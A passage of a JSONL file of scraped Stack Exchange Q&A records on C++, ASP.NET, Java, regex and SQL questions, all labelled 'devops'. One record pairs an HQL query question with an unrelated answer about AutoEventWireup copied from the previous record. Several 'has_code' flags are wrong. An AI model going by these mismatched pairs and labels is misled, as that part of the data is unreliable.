C#,\n```\n@\n```\nis the verbatim literal string operator meaning that the string should be used \"as is\" and not be processed for escape sequences.\nFootnotes\n```\nServer.MapPath(null)\n```\nand\n```\nServer.MapPath(\"\")\n```\nwill\nproduce this effect too\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.984825"}
{"id": "hf_aefce6b6d630", "question": "<p>E.g.</p>\n\n<p>What's best out of these:</p>\n\n<pre><code>std::string f() {} \n</code></pre>\n\n<p>or </p>\n\n<pre><code>const std::string&amp; f() {}\n</code></pre>\n", "question_body": "", "answer": "If you return a reference to a variable that is local to the function then you're going to end up with issues (depending on the compiler and its settings).\nIf you return a reference to an instance that's still in scope when the function returns then it will be faster, as no copy of the string is being created.\nSo the latter is more efficient (technically) but may not function as expected depending on what you return a reference to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.009787"}
{"id": "hf_02d874da6eb1", "question": "<p>Does anybody know if Microsoft has already decided which <strong>version of the .NET framework will be shipped in Windows 7</strong> next year (2009)? Will it .NET 3.5 (SP 1) or maybe 4.0?</p>\n", "question_body": "", "answer": "In my mind, it depends on the release dates.\nIf Windows 7 is released before .NET 4.0 (which should be released with Visual Studio 2010), then it can not have .NET 4.0. But with .NET 3.5 is sure thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.033358"}
{"id": "hf_628ebd2b89f9", "question": "<p>Is anyone using Castle MonoRail and ELMAH with success?</p>\n\n<p>We are using a number of Resuces to present users with friendly error messages, but if we do this the exceptions never get as far as ELMAH as the MonoRail rescue intercepts them.</p>\n\n<p>Ideally we want the user to see the rescue, but for the exception to be logged in ELMAH.</p>\n\n<p>Any ideas/pointers?</p>\n\n<p>Cheers,</p>\n\n<p>Jay.</p>\n", "question_body": "", "answer": "After also posting on\nGoogle Groups\nit looks like Atif may have pointed me in the right direction.\nYou might want to look into error\n  signaling in ELMAH. It is designed for\n  scenarios where you want to pass an\n  exception through ELMAH's pipeline\n  even if it is being handled/swallowed.\n  Here are some pointers to get started\n  with error signaling:\nhttp://code.google.com/p/elmah/wiki/DotNetSlackersArticle#Error_Signa...\nhttp://code.google.com/p/elmah/wiki/DotNetSlackersArticle#Signaling_e...\n-Atif", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.056765"}
{"id": "hf_e94926ab4ef0", "question": "<p>I am getting an 'Access to the path is denied\" error message when running in debug mode. I have tried granting permissions to {MACHINENAME}\\ASPNET and to NETWORK SERVICE but this hasn't made any difference. I have also tried &lt; impersonate = true /> using an admin account, this also made no difference. So how do I establish exactly which account is being used?</p>\n", "question_body": "", "answer": "To find out which NT account your app is running under at any given time, do something like (in VB.NET):\n```\n```\nDim User = System.Security.Principal.WindowsIdentity.GetCurrent.User\n    Dim UserName = User.Translate(GetType(System.Security.Principal.NTAccount)).Value\n```\n```\nWhen using ASP.NET, this account will match the identity of the application pool, which you configure using IIS Manager. Note that the anonymous IIS user isn't much involved with ASP.NET requests.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.080517"}
{"id": "hf_a829f2d24d4c", "question": "<p>I have  a heap of unit tests that need to check XML outputs.</p>\n\n<p>I have started out comparing strings but this isn't going to scale as formatting and superficial differences get in the way.</p>\n\n<p>What is the easiest way in .NET to evaluate whether the generated XML is semantically the same as what the test expects?</p>\n\n<blockquote>\n  <p><strong>Closed</strong> as duplicate of <a href=\"https://stackoverflow.com/questions/167946/how-would-you-compare-two-xml-documents\">How would you compare two XML Documents?</a></p>\n</blockquote>\n", "question_body": "", "answer": "Microsoft offers its XML Diff tools/classes\nhere\n. I haven't personally used it, but it sounds like it'll get you started:\n\"By using the XMLDiff class, the\n  programmer is able to determine if the\n  two files are in fact different based\n  on the conditions that are important\n  to their application\"\nIt seems to cope with different ordering, spacing, namespace prefixes etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.104217"}
{"id": "hf_11309116058c", "question": "<p>Frequently, I've dug into apropos and docs looking for something like the following only to give up to get back to the task at hand:</p>\n\n<p>(repeat-last-command)</p>\n\n<p>do the last C- or M- command I just executed (to be rebound to a fn key)</p>\n\n<p>or sometimes the related: </p>\n\n<p>(describe-last-function)</p>\n\n<p>what keystroke did I just mistakenly issue, the effect of which I'd like to add to my bag of tricks. describe-key is close, but requires knowing what I typed. </p>\n\n<p>Am I simply asking too much from my trusty sidekick?</p>\n", "question_body": "", "answer": "Repeat functionality is provided by the\n```\nrepeat.el\n```\nEmacs Lisp package, which is included with standard Emacs distributions.  From\n```\nrepeat.el\n```\n's documentation:\nThis package defines a command that\n  repeats the preceding command,\n  whatever that was, including its\n  arguments, whatever they were. This\n  command is connected to the key C-x z.\n  To repeat the previous command once,\n  type C-x z. To repeat it a second time\n  immediately after, type just z. By\n  typing z again and again, you can\n  repeat the command over and over.\nTo see additional information about the repeat command, type\nC-h F repeat RET\nfrom within Emacs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.140059"}
{"id": "hf_23a3342506fc", "question": "<p>Suppose I have code like this:</p>\n\n<pre><code>template&lt;class T, T initial_t&gt; class Bar {\n  // something\n}\n</code></pre>\n\n<p>And then try to use it like this:</p>\n\n<pre><code>Bar&lt;Foo*, NULL&gt; foo_and_bar_whatever_it_means_;\n</code></pre>\n\n<p>GCC bails out with error (on the above line):</p>\n\n<blockquote>\n  <p>could not convert template argument\n  '0' to 'Foo*'</p>\n</blockquote>\n\n<p>I found this thread: <a href=\"http://gcc.gnu.org/ml/gcc-help/2007-11/msg00066.html\" rel=\"nofollow noreferrer\">http://gcc.gnu.org/ml/gcc-help/2007-11/msg00066.html</a>, but I have to use NULL in this case (ok, I could probably refactor - but it would not be trivial; any suggestions?). I tried to overcome the problem by creating a variable with value of NULL, but GCC still complains that I pass variable and not address of variable as a template argument. And reference to a variable initialized with default ctor would not be the same as NULL.</p>\n", "question_body": "", "answer": "Have you tried:\n```\n```\nBar<Foo*, (Foo*)NULL> foo_and_bar_whatever_it_means_;\n```\n```\n?\nor reinterpret_cast(0)?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.201406"}
{"id": "hf_b7826255c8be", "question": "<p>My client gets a <code>sec_error_unknown_issuer</code> error message when visiting <a href=\"https://mediant.ipmail.nl\" rel=\"noreferrer\">https://mediant.ipmail.nl</a> with Firefox.\nI can't reproduce the error myself. I installed FF on a Vista and a XP machine and had no problems. FF on Ubuntu also works fine.</p>\n\n<p>Does anyone get the same error and does anyone have some clues for me so I can tell my ISP to change some settings?\nThe certificate is a so called wild-card SSL certificate that works for all subdomains (*.ipmail.nl). Was I wrong to pick the cheapest one?</p>\n", "question_body": "", "answer": "Which version of Firefox on which platform is your client using?\nThe are people having the same problem as documented\nhere in the Support Forum for Firefox\n. I hope you can find a solution there. Good luck!\nUpdate:\nLet your client check the settings in Firefox: On \"Advanced\" - \"Encryption\" there is a button \"View Certificates\".\nLook for \"Comodo CA Limited\"\nin the list. I saw that Comodo is the issuer of the certificate of that domain name/server. On two of my machines (FF 3.0.3 on Vista and Mac) the entry is in the list (by default/Mozilla).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.228913"}
{"id": "hf_1e759a9d92ad", "question": "<p>Use HttpWebRequest to download web pages without key sensitive issues</p>\n", "question_body": "", "answer": "[update: I don't know why, but both examples below now work fine! Originally I was also seeing a 403 on the page2 example. Maybe it was a server issue?]\nFirst,\n```\nWebClient\n```\nis easier. Actually,\nI've seen this before\n. It turned out to be case sensitivity in the url when accessing wikipedia; try ensuring that you have used the same case in your request to wikipedia.\n[updated] As Bruno Conde and gimel observe, using %27 should help make it consistent (the intermittent behaviour suggest that maybe some wikipedia servers are configured differently to others)\nI've just checked, and in this case the case issue doesn't seem to be the problem... however,\nif\nit worked (it does\nn't\n), this would be the easiest way to request the page:\n```\n```\nusing (WebClient wc = new WebClient())\n        {\n            string page1 = wc.DownloadString(\"http://en.wikipedia.org/wiki/Algeria\");\n\n            string page2 = wc.DownloadString(\"http://en.wikipedia.org/wiki/%27Abadilah\");\n        }\n```\n```\nI'm afraid I can't think what to do about the leading apostrophe that is breaking things...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.275059"}
{"id": "hf_9a92bbf12ef4", "question": "<p>I wan't to change the background color of a div dynamicly using the following HTML, CSS and javascript.\nHTML:</p>\n<pre><code>&lt;div id=&quot;menu&quot;&gt;\n    &lt;div class=&quot;menuItem&quot;&gt;&lt;a href=#&gt;Bla&lt;/a&gt;&lt;/div&gt;\n    &lt;div class=&quot;menuItem&quot;&gt;&lt;a href=#&gt;Bla&lt;/a&gt;&lt;/div&gt;\n    &lt;div class=&quot;menuItem&quot;&gt;&lt;a href=#&gt;Bla&lt;/a&gt;&lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n<p>CSS:</p>\n<pre><code>.menuItem{\n  display:inline;\n  height:30px;\n  width:100px;\n  background-color:#000;\n}\n</code></pre>\n<p>Javascript:</p>\n<pre><code>$('.menuItem').hover( function(){\n     $(this).css('background-color', '#F00');\n},\nfunction(){\n     $(this).css('background-color', '#000');\n});\n</code></pre>\n<p><strong>EDIT:</strong> I forgot to say that I had reasons not to want to use the css way.</p>\n<p>And I indeed forgot to check if the DOM was loaded.</p>\n", "question_body": "", "answer": "Your code looks fine to me.\nMake sure the DOM is ready before your javascript is executed by using jQuery's $(callback) function:\n```\n```\n$(function() {\n   $('.menuItem').hover( function(){\n      $(this).css('background-color', '#F00');\n   },\n   function(){\n      $(this).css('background-color', '#000');\n   });\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.298479"}
{"id": "hf_669765bbd7c5", "question": "<p>I have a form that tries to modify a JComponent's graphics context. I use, for example,</p>\n\n<pre><code>((Graphics2D) target.getGraphics()).setStroke(new BasicStroke(5));\n</code></pre>\n\n<p>Now, immediately after I set the value and close the form, the change is not visible. Am I not allowed to modify a JComponent's graphics context? How else would I modify the stroke, color and transformations?</p>\n\n<p>Thanks,</p>\n\n<p>Vlad</p>\n", "question_body": "", "answer": "There are several problems with that approach. The first is that most components will set these things themselves when ever they are asked to repaint themselves. This means that your change will be lost every time the component gets to the point where it would actually use it. But, on an even more fundamental level than that, Graphics2D objects are not persistant. They are typically instantiated every time the component is redrawn, meaning that the Graphics2D object you got won't be the same the component will be using when redrawing.\nWhat you need to do, to achieve this kind of thing is either to reimplement the specific component yourself, or implement a new look and feel that will affect the entire set of swing components. Have a look at the following link for further details about this:\nhttp://today.java.net/pub/a/today/2006/09/12/how-to-write-custom-look-and-feel.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.352042"}
{"id": "hf_5b382ec0ad80", "question": "<p>I have the string </p>\n\n<pre><code>a.b.c.d\n</code></pre>\n\n<p>I want to count the occurrences of '.' in an idiomatic way, preferably a one-liner.</p>\n\n<p>(Previously I had expressed this constraint as \"without a loop\", in case you're wondering why everyone's trying to answer without using a loop).</p>\n", "question_body": "", "answer": "Sooner or later,\nsomething\nhas to loop. It's far simpler for you to write the (very simple) loop than to use something like\n```\nsplit\n```\nwhich is much more powerful than you need.\nBy all means encapsulate the loop in a separate method, e.g.\n```\n```\npublic static int countOccurrences(String haystack, char needle)\n{\n    int count = 0;\n    for (int i=0; i < haystack.length(); i++)\n    {\n        if (haystack.charAt(i) == needle)\n        {\n             count++;\n        }\n    }\n    return count;\n}\n```\n```\nThen you don't need have the loop in your main code - but the loop has to be there somewhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.389033"}
{"id": "hf_da19eb968103", "question": "<p>I have a list of say 100 unsorted items. Each item belongs to a group. The group the item belongs to is simply a member of the item class.</p>\n\n<p>Using C/C++ I'm looking for the most efficient way of scanning through the list of items, checking which group they are in and printing the item to the screen. Here's the catch though. Once an item from a group has been printed to the screen, I don't want to print any more items belonging to that group.</p>\n\n<p>I'm using a pre STL compiler and the size of the executable is critical so I don't want to start defining my own Hash classes.</p>\n", "question_body": "", "answer": "You can create a dictionary/hashmap of groups and for each group store a bool saying if a item of that group was printed or not.\nSample code:\n```\n```\n#include <unordered_map>\n#include <string>\n#include <iostream>\n\nstd::string getGroupForNumber( int num )\n{\n//\n}\n\nint main()\n{\n    typedef std::tr1::unordered_map< std::string, bool > hashmap;\n    hashmap groupsPrinted;\n\n    for( int i = 0 ; i < 100 ; ++i ) {\n        if ( groupsPrinted[ getGroupForNumber( i ) ] == false ) {\n            groupsPrinted[ getGroupForNumber( i ) ] = true;\n            std::cout << i << std::endl;\n        }\n    }\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.436728"}
{"id": "hf_94e70352d392", "question": "<p>when i create an aspx page, the header includes something like this:-</p>\n\n<pre><code>&lt;%@ Page\n    Language=\"C#\" \n    MasterPageFile=\"~/Views/Shared/Site.Master\" \n    AutoEventWireup=\"true\" \n    CodeBehind=\"Create.aspx.cs\" \n    Inherits=\"My.Mvc.Views.Blah\" %&gt;\n</code></pre>\n\n<p>With ASP.NET MVC apps, do we:</p>\n\n<ul>\n<li>need to include this AutoEventWireUp attribute?</li>\n<li>What happens if we set this to false?</li>\n<li>what does this attribute really do? is it valid for ASP.NET MVC?</li>\n</ul>\n\n<p>thanks heaps folks!</p>\n", "question_body": "", "answer": "You can get rid of this attribute, or set it to false (which is the default).\nAutoEventWireup means ASP.NET will use reflection at runtime to look for methods on your web form class in the form of Page_EventName (like Page_Load, Page_Init, etc), and automatically wire the methods to the corresponding page lifecycle events. I have some more details here:\nhttp://odetocode.com/Blogs/scott/archive/2006/02/16/2914.aspx\nIn MVC you should, as a general rule, avoid wiring up event handlers for the page lifecycle and code-behind in general.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.460624"}
{"id": "hf_0f616e4a91a2", "question": "<p>I'm pretty new to HQL (well, nHibernate in general) and am currently building a simple app to learn more about it.</p>\n\n<p>I've run into problems trying to express the following SQL as HQL though, and would be very grateful for any ideas.</p>\n\n<p>Here's the query:</p>\n\n<pre><code>select * from parent p\nwhere p.id in (select p.parentid from child c where c.createdby = 2)\nand\n(select top 1 createdby \n from child where parentid = p.id order by createdon desc) != 2\n</code></pre>\n", "question_body": "", "answer": "You can get rid of this attribute, or set it to false (which is the default).\nAutoEventWireup means ASP.NET will use reflection at runtime to look for methods on your web form class in the form of Page_EventName (like Page_Load, Page_Init, etc), and automatically wire the methods to the corresponding page lifecycle events. I have some more details here:\nhttp://odetocode.com/Blogs/scott/archive/2006/02/16/2914.aspx\nIn MVC you should, as a general rule, avoid wiring up event handlers for the page lifecycle and code-behind in general.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.484705"}
{"id": "hf_06e82ddea64f", "question": "<p>I need to move backwards through an array, so I have code like this:</p>\n<pre><code>for (int i = myArray.Length - 1; i &gt;= 0; i--)\n{\n    // Do something\n    myArray[i] = 42;\n}\n</code></pre>\n<p>Is there a better way of doing this?</p>\n<p>Update: I was hoping that maybe C# had some built-in mechanism for this like:</p>\n<pre><code>foreachbackwards (int i in myArray)\n{\n    // so easy\n}\n</code></pre>\n", "question_body": "", "answer": "That's definitely the best way for any array whose length is a signed integral type.  For arrays whose lengths are an unsigned integral type (e.g. an\n```\nstd::vector\n```\nin C++), then you need to modify the end condition slightly:\n```\n```\nfor(size_t i = myArray.size() - 1; i != (size_t)-1; i--)\n    // blah\n```\n```\nIf you just said\n```\ni >= 0\n```\n, this is always true for an unsigned integer, so the loop will be an infinite loop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.555930"}
{"id": "hf_45788e5c5466", "question": "<p>I am currently working on a web application that uses PHP and MySQL, but I do not have shell access to the server (working on that problem already...).  Currently, I have source control with subversion on my local computer and I have a database on the local computer that I make all changes to.  Then, once I've tested all the updates on my local computer I deploy the site manually.  I use filezilla to upload the updated files and then dump my local database and import it on the deployment server.</p>\n\n<p>Obviously, my current solution is not anywhere near ideal.  For one major thing, I need a way to avoid copying my .svn files...  Does anyone know what the best solution for this particular setup would be?  I've looked into Capistrano a bit and Ant, but both of those look like it would be a problem that I do not have shell access...</p>\n", "question_body": "", "answer": "I'm using\nWeex\nto synchronize a server via FTP. Weex is basically a non-interactive FTP client that automatically uploads and deletes files/directories on the remote server. It can be configured to not upload certain paths (like SVN directories), as well as to keep certain remote paths (like Log directories).\nUnfortunately I have no solution at hand to synchronize MySQL databases as well...\nMaybe you could log your database changes in \"SQL patch scripts\" (or use complete dumps), upload those with Weex and call a remote PHP script that executes the SQL patches afterwards.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.591466"}
{"id": "hf_a1fe0d41ffb8", "question": "<p>I like Nant very much. I do a lot of scripting with NAnt. It is a great little tool.</p>\n\n<p>Since NAnt is pre 1.0, when problems occur, I often think if that it is a problem with NAnt itself, but this is not always the case.</p>\n\n<p>One funny example: After running the oracle scripts I parsed the log output to make sure there was no problem. I was testing this with a small log file and it was fine.</p>\n\n<p>I used the  task to load the file contents to a string property and used a regex to search for errors.</p>\n\n<p>When I used this script for a large log file, I stopped getting the \"build failed\" message at the bottom, because I was printing the error messages.</p>\n\n<p>Because the \"build failed\" was hiding at the top, I thought NAnt crashed, but it worked fine. </p>\n\n<p>It would be better for NAnt to have a 1.0 release. Any reasons why not?</p>\n", "question_body": "", "answer": "NAnt is an open source project that has been around a long while and is quite stable. While they have their reasons for not calling it version \"1\", does the version number really matter that much in this case? It's just a label.\nI'd contact the team and find out what needs to be done before they label it as such and perhaps you can contribute some bug fixes etc...\nThe nice thing about the source being open is if you find a bug, you can fix it yourself. Hence the risk of it not being 1.0 is mitigated slightly if you're willing to invest a bit of time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.614846"}
{"id": "hf_2ad21d546fff", "question": "<p>I want to write a regular expression that will replace the word Paris by a link, for only the word is not ready a part of a link.</p>\n\n<p>Example:</p>\n\n<pre><code>    i'm living &lt;a href=\"Paris\" atl=\"Paris link\"&gt;in Paris&lt;/a&gt;, near Paris &lt;a href=\"gare\"&gt;Gare du Nord&lt;/a&gt;,  i love Paris.\n</code></pre>\n\n<p>would become </p>\n\n<pre><code>    i'm living.........near &lt;a href=\"\"&gt;Paris&lt;/a&gt;..........i love &lt;a href=\"\"&gt;Paris&lt;/a&gt;.\n</code></pre>\n", "question_body": "", "answer": "Regular expression:\n```\n```\n!(<a.*</a>.*)*Paris!isU\n```\n```\nReplacement:\n```\n```\n$1<a href=\"Paris\">Paris</a>\n```\n```\n$1 referes to the first sub-pattern (at least in PHP). Depending on the language you use it could be slightly different.\nThis should replace all occurencies of \"Paris\" with the link in the replacement. It just checks whether all opening a-Tags were closed before \"Paris\".\nPHP example:\n```\n```\n<?php\n$s = 'i\\'m living <a href=\"Paris\" atl=\"Paris link\">in Paris</a>, near Paris <a href=\"gare\">Gare du Nord</a>, i love Paris.'; \n$regex = '!(<a.*</a>.*)*Paris!isU'; \n$replace = '$1<a href=\"Paris\">Paris</a>'; \n$result = preg_replace( $regex, $replace, $s); \n?>\n```\n```\nAddition:\nThis is not the best solution. One situation where this regex won't work is when you have a img-Tag, which is not within an a-Element. When you set the title-Attribute of that image to \"Paris\", this \"Paris\" will be replaced, too. And that's not what you want.\nNevertheless I see no way to solve your problem completely with a simple regular expression.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.650658"}
{"id": "hf_3a09e720f70a", "question": "<p>As we all know, global data, like the locale settings affecting the numeric decimal point printf() and strtod() are using, is evil. Fortunately, MSVC++ 9 allows to use per-thread locales by a <code>_configthreadlocale(_ENABLE_PER_THREAD_LOCALE)</code> call. Unfortunately, it seems that the localeconv() function does not notice this and still returns the global locale settings, e.g. localeconv()->decimal_point seems to always return the global locale setting before the _configthreadlocale() call. Is this a bug in the MSVC library or is this expected?</p>\n\n<p>TIA\nPaavo</p>\n", "question_body": "", "answer": "The call to the\n```\n_configthreadlocale\n```\nsets the property, before the call, nothing special happens. So yes, this is expected behavior. You first must call this function, and then you can take advantage of thread-local locales.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.674901"}
{"id": "hf_60dd66f6f2ac", "question": "<p>My ASP.NET application allows users to upload and download large files. Both procedures involve reading and writing filestreams. What should I do to ensure the application doesn't hang or crash when it handles a large file? Should the file operations be handled on a worker thread for example?</p>\n", "question_body": "", "answer": "Make sure you properly buffer the files so that they don't take inordinate amounts of memory in the system.\ne.g. excerpt from a download application, inside the while loop that reads the file:\n```\n```\n// Read the data in buffer.\nlength = iStream.Read(buffer, 0, bufferSize);\n\n// Write the data to the current output stream.\nResponse.OutputStream.Write(buffer, 0, length);\n```\n```\nWhere bufferSize is something reasonable, e.g. 100000 bytes, the trade-off is that it will be slower for smaller buffer sizes.\nhttp://support.microsoft.com/kb/812406\nEdit: Also be sure that IIS is set to take a large enough\nrequest length\n(IIS7) and timeout.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.799497"}
{"id": "hf_4746afa45376", "question": "<p>I want to read a mac id from command line and convert it to an array of <code>uint8_t</code> values to use it in a struct. I can not get it to work.  I have a vector of string for the mac id split about <code>:</code> and I want to use <code>stringstream</code> to convert them with no luck. What I am missing?</p>\n\n<pre><code>int parseHex(const string &amp;num){\n  stringstream ss(num);\n  ss &lt;&lt; std::hex;\n  int n;\n  ss &gt;&gt; n;  \n  return n;\n}\n\nuint8_t tgt_mac[6] = {0, 0, 0, 0, 0, 0};\n  v = StringSplit( mac , \":\" );\n  for( int j = 0 ; j &lt; v.size() ; j++ ){\n    tgt_mac[j] = parseHex(v.at(j)); \n  }\n</code></pre>\n", "question_body": "", "answer": "I think you are using the std::hex in the wrong place:\n```\n```\n#include <sstream>\n#include <iostream>\n\nint main()\n{\n    std::string     h(\"a5\");\n    std::stringstream   s(h);\n    int x;\n\n    s >> std::hex >> x;\n    std::cout << \"X(\" << x << \")\\n\";\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.823438"}
{"id": "hf_562f23d00176", "question": "<p>Is there some way to catch exceptions which are otherwise unhandled (including those thrown outside the catch block)?</p>\n\n<p>I'm not really concerned about all the normal cleanup stuff done with exceptions, just that I can catch it, write it to log/notify the user and exit the program, since the exceptions in these casese are generaly fatal, unrecoverable errors.</p>\n\n<p>something like:</p>\n\n<pre><code>global_catch()\n{\n    MessageBox(NULL,L\"Fatal Error\", L\"A fatal error has occured. Sorry for any inconvience\", MB_ICONERROR);\n    exit(-1);\n}\nglobal_catch(Exception *except)\n{\n    MessageBox(NULL,L\"Fatal Error\", except-&gt;ToString(), MB_ICONERROR);\n    exit(-1);\n}\n</code></pre>\n", "question_body": "", "answer": "This can be used to catch unexpected exceptions.\n```\n```\ncatch (...)\n{\n    std::cout << \"OMG! an unexpected exception has been caught\" << std::endl;\n}\n```\n```\nWithout a try catch block, I don't think you can catch exceptions, so structure your program so the exception thowing code is under the control of a try/catch.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.846645"}
{"id": "hf_5cf8c336af8d", "question": "<p>I have been using netbeans as a tool for my java, and i have a problem. I read <a href=\"http://www.netbeans.org/kb/61/java/gui-db-custom.html\" rel=\"nofollow noreferrer\">this tutorial</a> and then i tried to create a table using this SQL:</p>\n\n<pre><code>CREATE TABLE CUSTOMERS (\n    ID INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY,\n    FIRST_NAME VARCHAR(20),\n    LAST_NAME VARCHAR(30),\n    ADDRESS VARCHAR(30),\n    CITY VARCHAR(30),\n    STATE_ VARCHAR(30),\n    ZIP VARCHAR(15),\n    COUNTRY_ID INTEGER,\n    PHONE VARCHAR(15),\n    EMAIL_ADDRESS VARCHAR(50)\n)ENGINE=INNODB;\n</code></pre>\n\n<p>When i tried to run it, I got this error message:</p>\n\n<blockquote>\n  <p>sql state 42X01 : Syntax error :\n  encountered \"AUTO_INCREMENT\" at line 2\n  column 29</p>\n</blockquote>\n\n<p>and when i delete the AUTO_INCREMENT, another error:</p>\n\n<blockquote>\n  <p>detected ENGINE=INNODB;</p>\n</blockquote>\n\n<p>can someone help me? Thanks.</p>\n", "question_body": "", "answer": "my sugestion would be the following\n```\n```\nCREATE TABLE CUSTOMERS \n( ID INTEGER NOT NULL auto_increment,\nFIRST_NAME VARCHAR(20), \nLAST_NAME VARCHAR(30), \nADDRESS VARCHAR(30), \nCITY VARCHAR(30), \nSTATE_ VARCHAR(30), \nZIP VARCHAR(15), \nCOUNTRY_ID INTEGER, \nPHONE VARCHAR(15), \nEMAIL_ADDRESS VARCHAR(50),\nPRIMARY KEY (ID));\n```\n```\nDunno what the engine=innodb is for, have you tried without it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.882737"}
